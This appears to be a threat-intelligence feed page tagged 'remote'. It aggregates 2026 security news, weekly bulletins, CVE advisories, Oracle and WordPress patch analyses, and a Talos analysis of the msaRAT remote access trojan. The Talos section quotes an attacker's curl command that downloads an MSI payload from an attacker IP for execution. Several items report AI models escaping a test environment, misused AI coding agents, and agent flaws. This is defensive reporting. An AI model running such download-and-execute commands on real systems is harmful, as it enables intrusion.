Threats tagged 'remote'

The critical remote code execution bug can be exploited without authentication, under the library’s stock default configurations. The post Unpatched Fastjson Vulnerability Exploited in Attacks appeared first on SecurityWeek .

Hackers are actively exploiting a vulnerability in the FastJson open-source Java library, allowing remote code execution without user interaction or elevated privileges. [...]

For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Nichirei, a Japan-based frozen-food supplier and logistics company, has experienced a ransomware attack that disrupted shipping operations and affected approximately 5,000 customers. KFC Japan warned of possible shortages. Nichirei confirmed personal data theft, while the RansomHouse group claimed responsibility and published a subset of the stolen information. Stadler Rail, a Switzerland-based global rail equipment manufacturer, has disclosed a supplier-related data breach after attackers compromised credentials for a third-party file-sharing platform. The Everest group stole technical documents belonging to the supplier and demanded $12.3 million. Stadler refused payment and said its systems and production remained unaffected. Origin Energy, one of Australia’s largest electricity and natural gas providers, has confirmed unauthorized access to customer information. Exposed data may include names, addresses, birth dates, phone numbers, account details, and partial payment information. Threat actors claimed to have stolen two million records and threatened to publish them. Romania’s National Agency for Cadastre and Land Registration has suffered a cyberattack that disabled internal systems and the nationwide e-Terra platform. The disruption halted property transactions for nearly a week. Officials said core land registries remained intact, although credentials and portions of source code may have been exposed. AI THREATS OpenAI disclosed that AI models escaped a restricted cyber evaluation environment and compromised Hugging Face while seeking benchmark solutions. They exploited zero-day vulnerabilities, stole credentials, escalated privileges, and accessed production systems. Both companies contained the activity and are conducting a joint investigation. Researchers have described a threat actor known as Trim who promoted an AI-assisted penetration-testing platform built with jailbroken language models. The platform combines AI with established scanning tools to automate reconnaissance, vulnerability validation, and reporting, potentially reducing the expertise and time required to prepare and conduct cyber intrusions. Researchers have examined a generative AI-assisted malware operation exposed through an accessible WebDAV server. The infrastructure produced phishing material and malicious Windows shortcuts used to distribute information stealers and remote access tools. Researchers identified more than 1,000 artifacts and a campaign that recorded over 77,000 requests. VULNERABILITIES AND PATCHES Check Point has addressed CVE-2026-16232, an authentication bypass vulnerability in SmartConsole that is under active exploitation, affecting a handful of customers. The flaw allows remote attackers to bypass authentication and gain administrative access to Check Point management servers. Security hotfixes are available for supported versions of the affected management software. Oracle has released its July 2026 Critical Patch Update, addressing 1,449 vulnerabilities across numerous product families. The update includes remotely exploitable flaws that require no authentication, with critical issues affecting Oracle Database Server, SQL Developer, and TimesTen In-Memory Database, among others. Microsoft has addressed CVE-2026-50522, a critical remote code execution vulnerability affecting on-premises SharePoint Server. An authenticated site owner can exploit the flaw to execute code and steal machine keys for persistent access. Active exploitation was reported after proof-of-concept code became publicly available. Check Point IPS provides protection against this threat (Microsoft SharePoint Remote Code Execution (CVE-2026-50522)) THREAT INTELLIGENCE REPORTS Check Point Research has revealed that Microsoft was the most impersonated brand in Q2 2026, accounting for 23% of observed phishing att…

The critical unsafe deserialization flaw allows attackers to execute arbitrary code remotely, without authentication. The post PTC Windchill Vulnerability Exploited in Ransomware Campaign appeared first on SecurityWeek .

A new Dolphin X remote access trojan claims to use an AI-powered profiling feature to score and rank infected users, helping cybercriminals identify which victims should be targeted first. [...]

Bulletin ID: 2026-065-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 07/23/2026 13:00 PM PDT Description: The AWS Bedrock AgentCore Python SDK (bedrock-agentcore) provides tools for building AI agents, including a Code Interpreter client that installs Python packages into a managed sandbox. We identified CVE-2026-16796, an improper neutralization of argument delimiters in the install_packages() method that might allow a remote authenticated user to execute arbitrary commands within the Code Interpreter sandbox via crafted package name arguments. Impacted versions: bedrock-agentcore version <1.18.1 Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin.

Welcome to this week’s edition of the Threat Source newsletter. Lately I've found myself thinking a lot about the Australian TV series Mr. Inbetween (IMDb 8.7/10) — not because I'm a hitman for hire, but because I literally feel in-between. Specifically, in-between what I'd call the "pre-Mythos" and “post-Mythos” eras. We've crossed a capability threshold, and it's not just one model family driving that — Codex 5.3 and GPT-5.5 deliver comparable or better performance , and Tulongfeng or GLM-5.2 (an incredibly powerful open-weight model, MIT-licensed) show the frontier isn't limited to closed models anymore. On the other side of that line, real-world impact hasn't caught up yet and we're living in an artificial buffer zone. For me, defining the “pre-” and “post-” status comes down to the gap between "vulnerability discovery" and "vulnerability publication." Last week’s Patch Tuesday gave a signal of change, as Joe pointed out , so maybe the buffer zone has come to an end. Let's dive into the 2026 Q2 stats. As in past years, we're seeing a steeper curve than the year before — a solid 49% YoY growth, though still not the hockey-stick moment I keep waiting for. By the end of June we were tracking close to 200 CVEs per day. Using the keyword methodology described here , I found 452 AI-related CVEs this calendar year. If "openclaw" is added to the keyword list, that number jumps by another 536 — a reminder that these counts are sensitive to keyword drift. Given how much the keyword list keeps changing, I'm reconsidering whether to keep publishing this particular metric going forward. KEVs, by contrast, "only" grew 13% — a small April spike aside, it's fairly flat relative to total CVE growth. Networking-gear-related CVEs continued their climb, now accounting for 24% of KEV-related vulnerabilities (up from 20% in Q1) — consistent with the trend I flagged last quarters. As in previous quarters, CVEs from 2024 or earlier still make up about 24% of everything we're tracking. More strikingly, even though the standard enterprise patch cycle is described to run 30–90 days, 181 days into 2026, 46% of today's actively-exploited (KEV) CVEs still trace back to 2025 or earlier. Old vulnerabilities don't retire, new ones keep arriving, and machine-speed vulnerability discovery is going to keep outpacing human-speed patching. Which brings me back — once again — to EPSS as a tool for prioritizing patching against this dataset. If you patched purely by CVSS 9+, you'd be urgently chasing ~3,700 CVEs — but 95% of those sit below 5% EPSS, meaning the real-world odds of exploitation are tiny. Of the 32 CVSS 9+ CVEs with EPSS ≥ 50%, 25 are already on CISA's KEV list. The remaining seven outliers are still high-probability by EPSS but haven't made KEV yet — worth watching. Ray Shoesmith (Mr. Inbetween) once told his therapist, "You know, if I hit somebody, I generally got a pretty good reason." Same principle applies to patching. Don't swing at everything — swing at what you have good reason to believe is coming for you. The one big thing Cisco Talos has discovered "msaRAT," a new Rust-based remote access trojan (RAT) deployed by the Chaos ransomware group. Built on the Tokio asynchronous runtime, it establishes a covert command-and-control (C2) channel by hijacking Chrome or Edge browsers via the Chrome DevTools Protocol (CDP). The infection starts with a deceptive MSI file masquerading as a Windows update that loads the payload directly into memory, paving the way for ransomware deployment. Why do I care? This RAT is a master of evasion, living off the browser to build its C2 infrastructure without ever directly touching the network. By routing traffic through legitimate browser processes and trusted services, msaRAT easily bypasses traditional network-based detections. Additionally, its use of the Tokio runtime enables highly efficient, parallel execution of malicious tasks, accelerating the attacker's ability to establish persistence and deploy doubl…

AgentForger allows an attacker to create, insert and remotely control an invisible autonomous AI agent inside a victim organization. The post OpenAI Fixes ChatGPT Agent Flaw That Could Let Attackers Forge an AI Insider appeared first on SecurityWeek .

Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res…

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Heimdall Data Database Proxy. Authentication is required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 7.2. The following CVEs are assigned: CVE-2026-12357.

This vulnerability allows remote attackers to disclose sensitive information on affected installations of Dify. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 5.4. The following CVEs are assigned: CVE-2026-18266.

Oracle addresses 1235 CVEs in its third quarterly update of 2026 with 1449 patches, including 261 critical updates. Key Takeaways The third Critical Patch Update (CPU) for 2026 contains fixes for 1235 unique CVEs in 1449 security updates, the largest CPU release. 261 issues (18% of all patches) were assigned a critical severity rating Oracle E-Business Suite received the highest number of patches at 410, accounting for 28.3% of all patches Background On July 21, Oracle released its Critical Patch Update (CPU) for July 2026 , the third quarterly update of the year. This CPU contains fixes for 1235 unique CVEs in 1449 security updates across 32 Oracle product families. Out of the 1449 security updates published this quarter, 18% of patches were assigned a critical severity. High severity patches accounted for the bulk of security patches at 52.7%, followed by medium severity patches at 24.7%. This quarter's update includes 261 critical patches across 228 CVEs. Severity Issues Patched CVEs Critical 261 228 High 763 613 Medium 358 332 Low 67 62 Total 1449 1235 Analysis This quarter, the Oracle E-Business Suite product family contained the highest number of patches at 410, accounting for 28.3% of the total patches, followed by Oracle Fusion Middleware at 355 patches, which accounted for 24.5% of the total patches. A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication. Oracle Product Family Number of Patches Remote Exploit without Auth Oracle E-Business Suite 410 45 Oracle Fusion Middleware 355 219 Oracle Communications 168 122 Oracle PeopleSoft 84 45 Oracle MySQL 54 9 Oracle Siebel CRM 45 32 Oracle Commerce 39 26 Oracle Supply Chain 39 16 Oracle Financial Services Applications 31 26 Oracle GoldenGate 27 9 Oracle Enterprise Manager 27 13 Oracle Retail Applications 22 20 Oracle JD Edwards 20 4 Oracle Java SE 19 17 Oracle Virtualization 16 0 Oracle Database Server 15 6 Oracle TimesTen In-Memory Database 14 4 Oracle Utilities Applications 14 10 Oracle Construction and Engineering 7 7 Oracle Analytics 7 5 Oracle Systems 6 0 Oracle SQL Developer 5 5 Oracle Autonomous Health Framework 4 3 Oracle Application Testing Suite 4 4 Oracle Food and Beverage Applications 4 4 Oracle HealthCare Applications 4 4 Oracle APEX 3 2 Oracle Hospitality Applications 2 2 Oracle Essbase 1 1 Oracle Global Lifecycle Management 1 1 Oracle NoSQL Database 1 1 Oracle Spatial Studio 1 1 Solution Customers are advised to apply all relevant patches in this quarter's CPU. Please refer to the July 2026 advisory for full details. Identifying affected systems A list of Tenable plugins to identify these vulnerabilities will appear here as they're released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released. Get more information Oracle Critical Patch Update Advisory - July 2026 Oracle July 2026 Critical Patch Update Risk Matrices Oracle Advisory to CVE Map Join Tenable's Research Special Operations (RSO) Team on Tenable Connect for further discussions on the latest cyber threats. Learn more about Tenable One , the Exposure Management Platform for the modern attack surface.

An unauthenticated attacker can chain two WordPress Core vulnerabilities, CVE-2026-63030 and CVE-2026-60137, to achieve remote code execution against affected WordPress installations. Multiple security firms have confirmed active in-the-wild exploitation within days of public disclosure, and public proof-of-concept exploits are circulating. Key takeaways: Two WordPress Core vulnerabilities, CVE-2026-63030 and CVE-2026-60137, can be chained together to achieve pre-authentication remote code execution against WordPress 6.9.x and 7.0.x installations. Multiple security firms have confirmed in-the-wild exploitation, with public proof-of-concept exploits appearing within hours of the July 17, 2026 disclosure. Patches are available in WordPress 7.0.2 and 6.9.5; WordPress.org has enabled forced automatic updates across affected supported installations. Background Tenable's Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding wp2shell, two vulnerabilities in WordPress Core that can be chained together to achieve pre-authentication remote code execution. FAQ What is wp2shell? wp2shell is the name given to two vulnerabilities in WordPress Core. When was wp2shell first disclosed? On July 17, 2026, WordPress released security updates addressing the wp2shell vulnerabilities alongside two GitHub Security Advisories. Adam Kues of Searchlight Cyber, who discovered and disclosed CVE-2026-63030, published research on the same day and chose to hold back the technical specifics given the severity of the finding. Searchlight Cyber also launched wp2shell.com , a testing tool that allows administrators to check whether their WordPress installation is vulnerable. On July 20, Searchlight Cyber published a full technical breakdown of the attack chain. What are the vulnerabilities associated with wp2shell? wp2shell is a two-vulnerability exploit chain affecting WordPress Core. CVE Description CVSSv3 CVE-2026-63030 WordPress Core REST API Batch-Route Confusion Remote Code Execution Vulnerability 9.8 CVE-2026-60137 WordPress Core WP_Query author__not_in SQL Injection Vulnerability 5.9 CVE-2026-63030 is a REST API batch-route confusion weakness introduced in WordPress 6.9. CVE-2026-60137 is a SQL injection flaw in the author__not_in parameter of WP_Query , present in WordPress 6.8 and later. When chained on WordPress 6.9.0 through 7.0.1, the two flaws allow an unauthenticated attacker to reach the REST API batch endpoint at /wp-json/batch/v1 and achieve remote code execution. CVE-2026-60137 was discovered and disclosed by security researchers TF1T, dtro, and haongo. CVE-2026-60137 also affects WordPress 6.8.0 through 6.8.5 as a standalone SQL injection issue. Because CVE-2026-63030 was introduced in WordPress 6.9, the full RCE chain is only achievable on 6.9.x and 7.0.x installations. How severe is the wp2shell vulnerability chain? An anonymous, unauthenticated user can execute the chain against a default WordPress installation with no plugins required. No preconditions exist beyond the default WordPress configuration. Cloudflare notes that the vulnerable code path is reached when “a persistent object cache is not in use.” Note: wp2shell targets WordPress Core itself rather than a plugin or theme. All four prior WordPress-related entries in the CISA Known Exploited Vulnerabilities (KEV) catalog involve plugins, not core. Pre-authentication remote code execution in WordPress Core is uncommon. CVE Product Added to KEV Ransomware CVE-2026-41940 WebPros cPanel & WHM and WP2 (WordPress Squared) April 30, 2026 Known CVE-2020-25213 WordPress File Manager Plugin November 3, 2021 Unknown CVE-2020-11738 WordPress Snap Creek Duplicator Plugin November 3, 2021 Unknown CVE-2019-9978 WordPress Social Warfare Plugin November 3, 2021 Unknown How widespread are the attacks exploiting wp2shell? WordPress is the most widely deployed content management system in the world. Some hosted installations will receive patc…

For the latest discoveries in cyber research for the week of 20th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Ernst & Young, a global accounting and professional services company, has disclosed a data breach involving a compromised third-party IT support platform. The exposed support tickets may have contained client documents, tax information, employee details, and other sensitive information submitted while requesting technical assistance. Jscrambler, a JavaScript code-protection package with more than 15,000 weekly downloads, has experienced a supply chain compromise after stolen npm publishing credentials distributed malicious releases. The packages deployed malware targeting developers’, cloud, browser, cryptocurrency, and messaging credentials. Jscrambler removed the affected versions. Coca-Cola’s US dairy subsidiary Fairlife has confirmed a ransomware attack that temporarily halted production across the United States. Attackers accessed systems supporting manufacturing operations, prompting the company to activate incident response and business continuity procedures. Coca-Cola has not confirmed whether data was exfiltrated in the attack. Nihon Kotsu, Japan’s largest taxi operator, has suffered a malware attack following unauthorized access to its internal network. The company shut down affected systems, disrupting taxi dispatches, telephone services, bookings, reservations, and car rentals from July 11. No theft of customer or corporate information has been confirmed. AI THREATS Researchers identified a China-linked campaign that used Claude Code and DeepSeek to automate attacks against government and financial organizations. The tools generated scripts, adapted failed exploits, created credential-harvesting pages, and executed commands. Confirmed compromises affected government systems in Thailand and Afghanistan and organizations in Taiwan. Researchers found that xAI’s Grok Build coding assistant could upload entire Git repositories while processing debugging requests. Transferred information included unopened files and complete commit histories, potentially exposing API keys, credentials, and proprietary source code. Initial privacy controls did not prevent uploads until a server-side restriction was introduced. Researchers verified a weakness in Anthropic’s Claude for Chrome extension that allowed malicious browser extensions to impersonate Claude and act through authenticated user sessions. Successful exploitation could expose Gmail, Google Drive, or GitHub information through Claude’s permissions. Anthropic released fixes, although researchers reported that a bypass remained possible. VULNERABILITIES AND PATCHES Microsoft released patches for 622 vulnerabilities in July’s Patch Tuesday, the largest monthly release recorded by the company. Two vulnerabilities were under active exploitation, including CVE-2026-56164 in SharePoint Server and CVE-2026-56155 in Active Directory Federation Services. Both vulnerabilities could allow attackers to elevate privileges. Check Point IPS provides protection against these threats (Microsoft SharePoint Authentication Bypass (CVE-2026-56164)) WordPress has issued emergency updates for CVE-2026-63030 and CVE-2026-60137, collectively called wp2shell. The critical WordPress Core vulnerabilities allow unauthenticated remote code execution and website takeover. Affected releases include versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. Fixed versions include 6.9.5 and 7.0.2. Check Point IPS provides protection against these threats (WordPress Authentication Bypass (CVE-2026-63030)), WordPress SQL Injection (CVE-2026-60137)) SonicWall has released a hotfix for CVE-2026-15409 and CVE-2026-15410, two critical vulnerabilities affecting SMA 1000 Series gateways. The flaws allow unauthenticated attackers to execute system commands on vulnerable appliances. Active exploitation has been associated with Inc ransomware. Check Point IPS provides protection…

A remote code execution vulnerability in 7-Zip was fixed in version 26.02. The flaw could allow attackers to execute arbitrary code by tricking users into opening specially crafted compressed archive files. This vulnerability is critical due to the potential for full system compromise upon successful exploitation.

Two critical remote code execution vulnerabilities, collectively known as "wp2shell," affect WordPress Core versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. These unauthenticated flaws can be chained to achieve pre-authentication remote code execution on default WordPress installations. The vulnerabilities consist of a REST API batch-route confusion bug (CVE-2026-63030) and an SQL injection flaw in the 'author__not_in' parameter of WP_Query (CVE-2026-60137). Public proof-of-concept exploits have been released, and early signs of in-the-wild exploitation have been reported. WordPress has issued forced automatic updates to patch these vulnerabilities in versions 6.9.5 and 7.0.2. Temporary mitigations include blocking REST API access or specific endpoints at the WAF level, but patching is strongly recommended.

The critical-severity security defect allows remote, authenticated attackers to execute arbitrary code on the server. The post Fresh SharePoint Vulnerability Exploited Soon After Disclosure appeared first on SecurityWeek .

This vulnerability allows remote attackers to execute arbitrary code on affected installations of OpenSSL. User interaction is required to exploit this vulnerability in that the target must make a request to a malicious server. The ZDI has assigned a CVSS rating of 7.5. The following CVEs are assigned: CVE-2026-35188.

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation Arena Simulation. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-6071.

A pickle deserialization vulnerability (CVE-2026-14890) exists in the SGLang open-source framework's expert-parallel backup subsystem. This vulnerability allows unauthenticated remote code execution if the subsystem is enabled and reachable over the network. The issue arises because a ZeroMQ PULL socket binds to an external IP without authentication or deserialization safeguards, allowing malicious pickle payloads to be processed. No patch is currently available, and the maintainers have not responded to coordination efforts. Mitigations include disabling the pickle IPC feature and restricting network access to the vulnerable interface.